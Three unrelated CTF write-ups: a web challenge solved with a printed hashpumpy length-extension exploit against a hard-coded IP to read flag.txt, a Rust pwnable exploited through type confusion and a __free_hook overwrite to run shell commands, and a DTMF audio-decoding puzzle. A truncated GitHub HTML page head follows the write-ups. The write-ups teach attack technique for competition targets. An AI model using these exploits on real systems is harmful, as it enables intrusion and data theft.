#### 1. Read the source file patiently.first of all, we can have a look at the source file. We found that there exists some useful things for us to get flag```geneSign -> we can use this to get a signatureDe1ta -> this we lead us to get our flagfocus on thisdef Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: <- scan the file tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: <- read the file f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result``````def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] <- the most important place except: return "Connection Timeout"```#### 2. test something in your own computer* `urllib.urlopen('file:flag.txt')` it shows the flag, but we are blocked by the waf function...o(╥﹏╥)o* To be honest. I stuck into this for a long time, find a lot of writeups in the internet, I am wondering if I am in the right way.* then I test `urllib.urlopen('http://localhost/flag.txt')` it shows 404, obviously, the route doesn't provide the url to get our flag directly.* My friend told me tha I can just use `urllib.urlopen('flag.txt')` that's right.... So let us get the flag* so we just have 2 steps.* At first, read the flag into result.txt, then use read to read the content in the result.txt* before use read to get the flag, we notice that we must pass the verification. It is a hash extension attack, we can use hashpump to simplify our exp.#### 3. try to get the flag!Here is my exp.```import requests,hashpumpy,urllib """hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message) Arguments: hexdigest(str): Hex-encoded result of hashing key + original_data. original_data(str): Known data used to get the hash result hexdigest. data_to_add(str): Data to append key_length(int): Length of unknown data prepended to the hash Returns: A tuple containing the new hex digest and the new message.'"""payload = 'flag.txt'param = 'param=' + payloadbase_url = 'http://139.180.128.86/'signurl = base_url + 'geneSign?' + paramr = requests.post(url=signurl,cookies={'action':'scan'})sign = r.contentprint signreadsign,add_data = hashpumpy.hashpump(sign,payload+'scan','read',16)print readsign# print add_dataadd_data = add_data[len(payload):]print add_dataexpurl = base_url + 'De1ta?' + paramr = requests.post(url=expurl,cookies={'action':urllib.quote(add_data),'sign':readsign})print r.content```
# babyRust babyRust is a rust pwnable, which has 6 options excluding `exit`.```You have a magic box.1.create2.show3.edit0x520~0x522.magic4.exit``` ## recon Doing create or edit asks for 5 input, where 1 of them is a name (string) and the other 4 are numbers. I speculated that since the binary is compiled with rustc, there mustn't be any obvious, ancient bugs like stack/heap buffer overflows. I played around with the options a few times and got a crash immediately.Also, I did >0x520 and show'ed the output, which was this.```S(94159028869952, ,0,0,0)```The first large number was definitely a heap pointer, and it could be identified by converting it to hex.There seems to be a type confusion between int and string pointer. Also, I used the other two magics (0x521 and 0x522) and the first letter changed every time I did it. It seems that the 'magic's are operations that change the type of some container or structure, but the type system is inconsistent with it.One other thing interesting that I found out was that only one magic can be used for a specific state (or type). That means the order of using magics (0x520->0x521->0x522->0x520->...) must be the same, always. ## analysisAnalyzing rust binaries are similar to analyzing c++ binaries. All automatically generated routines should be overlooked or speculated. The main routine was in the main::main function, where I could clearly identify what looked like a switch-case in an infloop. As in the menu, there were 3 operations and 3 magics. I took a look at the create option by looking at main::create function/ It is clear that the routine reads 4 numbers and a string. Some more analysis reveals the memory structure of the so called 'magic box'. ```struct magicBox { unsigned long unk; struct packedString; unsigned long num1; unsigned long num2; unsigned long num3; unsigned long num4;}; struct packedString { char *buf; unsigned long length;};``` At first some things were not clear but I set a breakpoint on the main::create function's important parts and observed the memory directly. This helped me reverse the routine in a very speedy manner.The edit option was similar to create, but there were mainly 3 branches. Each branch corresponded to a certain type. So it seems that there are 3 types of magic boxes, and the type confusion between them caused the information leak. Analyzing the edit function revealed that there are three forms of magic boxes, 'boom', 'S' and 'F'. boom is the default type, where 'S' and 'F' are in the following form. ```struct magicBoxS { unsigned long num1; unsigned long num2; unsigned long num3; struct packedString name; unsigned long num4; unsigned long unk;}; struct magicBoxF { struct packedString name; unsigned long num1; unsigned long num2; unsigned long num3; unsigned long num4; unsigned long unk;};``` This explains why a heap pointer was printed as int after doing magic 0x520. A char * was misidentified as an unsigned long. Then, I thought can I confuse an int to a char *? This would give us arbitrary read? And sure it was. After some trial and error, I could segfault the program by making it try to access the address 0xdeadbeef. Afterwards, I scanned the heap to cause other leaks, and I found something like this:```F(93874519129536, 17,17,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x04\x00\x00\x00\x00\x00\x00F(93874519129536, 17,17,create2.show3.edit0x520~0x522.magic4.exit243d2000 rw-p 00000000 00:00 0 7f26243e9000-7f26243ea000 r--p 00027000 08:01 923645 /lib/x86_64-linux-gnu/ld-2.27.so7f26243ea000-7f26243eb000 rw-p 00028000 08:01 923645 /lib/x86_64-linux-gnu/ld-2.27.so7f26243eb000-7f26243ec000 rw-p 00000000 00:00 0 7ffce0515000-7ffce0536000 rw-p 00000000 00:00 0 [stack]7ffce05a6000-7ffce05a9000 r--p 00000000 00:00 0 [vvar]7ffce05a9000-7ffce05ab000 r-xp 00000000 00:00 0 [vdso]ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]1 923696 /lib/x86_64-linux-gnu/libdl-2.27.so7f26241c0000-7f26241c1000 r--p 00002000 08:01 923696 /lib/x86_64-linux-gnu/libdl-2.27.sodl-2.27.so7f26241c0000-7f26241c1000 r--p 00002000 08:01 923696 ,0)You have a magic box.```What I see are contents printed to stdout and the contents of the file `/proc/self/maps`. I think I scanned the file read buffer of stdout and `/proc/self/maps`. (The former was probably opened due to an automatic routine in rust, as means to protect memory) Now I have the stack base address and ld-2.27.so's base address, but all the important stuff like **system** and **__free_hook** is in libc.so.6. So, I read the pointer of __libc_malloc from ld-2.27.so's malloc@got, and I got the libc base. ## Getting arbitrary writeI didn't do a full-analaysis of the binary and I couldn't figure out why some operations would cause a crash. I attached gdb to the process and observed the heap, and I found a sign of a double-free in tcache bins (This can be easily done by doing `p *tcache`) in gdb. Then I speculated that, every time I use a 'magic' what used to be the string is `freed`, right? Analyzing the magic further proved this to be true. Every time a magic is executed, the original object goes through the `core::ptr::real_drop_in_place` function, which is the rust equivalent to a c++ destructor call. Therefore, I have an arbitrary `free` primitive, which can be used to create an arbitrary write primitive very easily in tcache malloc. Since I have all leaks, I can overwrite __free_hook to system and execute arbitrary commands. Since the rust binary aborts when something not-sane gets inputed, I made the binary execute `ls -al; cat flag` instead of popping up a shell.
# Tone > Tone (Forensic, Baby, 10 pts)> Author: George Zaytsev (groke)> > Ha! Looks like this guy forgot to turn off his video stream and entered his password on his phone!> > youtu.be/11k0n7TOYeM The challenge leads us to a YouTube video of someone behind a chair typing on a phone, and the tones generated by the phone can be heard. This tone system is called [DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling). Each keypress produces a tone consisting of two simultaneous sinusoidal frequencies. Most keypresses are repeated a few times. | | 1209 Hz | 1336 Hz | 1477 Hz | 1633 Hz || ------ | :-----: | :-----: | :-----: | :-----: || 697 Hz | 1 | 2 | 3 | A || 770 Hz | 4 | 5 | 6 | B || 852 Hz | 7 | 8 | 9 | C || 941 Hz | * | 0 | # | D | Identifying these tones simply by listening to them isn't easy (this skill is aptly called [ear training](https://en.wikipedia.org/wiki/Ear_training)), so let's get some help with identifying them. First, let's save the audio into a file. The `-F` flag in `youtube-dl -F https://www.youtube.com/watch?v=11k0n7TOYeM` shows us the download options. ```[youtube] 11k0n7TOYeM: Downloading webpage[youtube] 11k0n7TOYeM: Downloading video info webpage[youtube] 11k0n7TOYeM: Downloading MPD manifest[info] Available formats for 11k0n7TOYeM:format code extension resolution note139 m4a audio only DASH audio 49k , m4a_dash container, mp4a.40.5@ 48k (22050Hz)251 webm audio only DASH audio 85k , webm_dash container, opus @160k (48000Hz)140 m4a audio only DASH audio 130k , m4a_dash container, mp4a.40.2@128k (44100Hz)278 webm 256x144 DASH video 95k , webm_dash container, vp9, 30fps, video only160 mp4 256x144 DASH video 108k , mp4_dash container, avc1.4d400b, 30fps, video only242 webm 426x240 DASH video 220k , webm_dash container, vp9, 30fps, video only134 mp4 640x360 DASH video 227k , mp4_dash container, avc1.4d401e, 30fps, video only133 mp4 426x240 DASH video 242k , mp4_dash container, avc1.4d400c, 30fps, video only243 webm 640x360 DASH video 405k , webm_dash container, vp9, 30fps, video only244 webm 854x480 DASH video 752k , webm_dash container, vp9, 30fps, video only136 mp4 1280x720 DASH video 932k , mp4_dash container, avc1.4d401f, 30fps, video only135 mp4 854x480 DASH video 1155k , mp4_dash container, avc1.4d4014, 30fps, video only247 webm 1280x720 DASH video 1505k , webm_dash container, vp9, 30fps, video only18 mp4 640x360 medium , avc1.42001E, mp4a.40.2@ 96k, 1.82MiB43 webm 640x360 medium , vp8.0, vorbis@128k, 2.50MiB22 mp4 1280x720 hd720 , avc1.64001F, mp4a.40.2@192k (best)``` We only want the audio, so `140` is an appropriate choice. We can open the `.m4a` file with [Audacity](https://sourceforge.net/projects/audacity/), the good old audio editor. Just go to _File_ > _Import_ > _Audio..._ and select the file. We can make the audio a bit louder by selecting the whole track (Ctrl+A) and choosing _Effect_ > _Amplify..._. Now here's the trick: we want to identify the two simultaneous frequencies in each keypress. To do this, we select the keypress we want to identify and then we go to _Analyze_ > _Plot Spectrum..._. ![Audacity spectrum plot](https://raw.githubusercontent.com/m4rt1n0/ctf-write-ups/master/cybrics-2019/forensic-tone/spectrum.png) This window shows the frequency analysis of the selected part of the audio. Because of noise and harmonics, other frequencies show up, but it's easy to see there are two peaks in the graph. By hovering the mouse near these peaks, we can see the frequency at the cursor position and the nearest peak frequency (1354 Hz and 1340 Hz in this image, respectively). We'll write down the peak frequencies of the two biggest peaks, which should be pretty close to the values in the table. In the first keypress, the values are 699 Hz and 1340 Hz. The nearest values in the table are 697 Hz and 1336 Hz, which means the "2" key was pressed. It's easy to notice the same key is being pressed a few times (it's the same tone and there are longer gaps between other presses), so let's just write down how many times it was pressed and repeat this process for each group of keypresses. In the end, you should have the following data: `222 999 22 777 444 222 7777 7777 33 222 777 33 8 8 666 66 2 555 333 555 2 4` If you've ever sent an SMS using a dumb phone, you probably know what to do already. Each sequence corresponds to a letter written in a telephone keypad, so 2 = A, 22 = B, 222 = C, 3 = D, 33 = E and so on. By decoding the data we have, we get the sequence `cybricssecrettonalflag`, which should be formatted as `cybrics{secrettonalflag}`.
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-Writeups/Cybrics2019/Reverse at master · fg0x0/CTF-Writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="E45C:0F8F:1995FC2B:1A60E37A:64122464" data-pjax-transient="true"/><meta name="html-safe-nonce" content="caedff01d0f2abf6c58174f3bd787300b2e267f310235a8dbf768603f9430565" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFNDVDOjBGOEY6MTk5NUZDMkI6MUE2MEUzN0E6NjQxMjI0NjQiLCJ2aXNpdG9yX2lkIjoiNDE5MDg2OTIzMDQzMjk1MzQ0NCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="e552a670dd745a7d165dc3bc9eec2c244dda2c98ff167265c790debee3e61581" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:198331347" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to fg0x0/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/d453193afa38d2209a9c1814fcee125b8323ecb9d45b95047673b208ddcf0335/fg0x0/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/Cybrics2019/Reverse at master · fg0x0/CTF-Writeups" /><meta name="twitter:description" content="Contribute to fg0x0/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/d453193afa38d2209a9c1814fcee125b8323ecb9d45b95047673b208ddcf0335/fg0x0/CTF-Writeups" /><meta property="og:image:alt" content="Contribute to fg0x0/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/Cybrics2019/Reverse at master · fg0x0/CTF-Writeups" /><meta property="og:url" content="https://github.com/fg0x0/CTF-Writeups" /><meta property="og:description" content="Contribute to fg0x0/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/fg0x0/CTF-Writeups git https://github.com/fg0x0/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="35772301" /><meta name="octolytics-dimension-user_login" content="fg0x0" /><meta name="octolytics-dimension-repository_id" content="198331347" /><meta name="octolytics-dimension-repository_nwo" content="fg0x0/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="198331347" /><meta name="octolytics-dimension-repository_network_root_nwo" content="fg0x0/CTF-Writeups" /> <link rel="canonical" href="https://github.com/fg0x0/CTF-Writeups/tree/master/Cybrics2019/Reverse" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 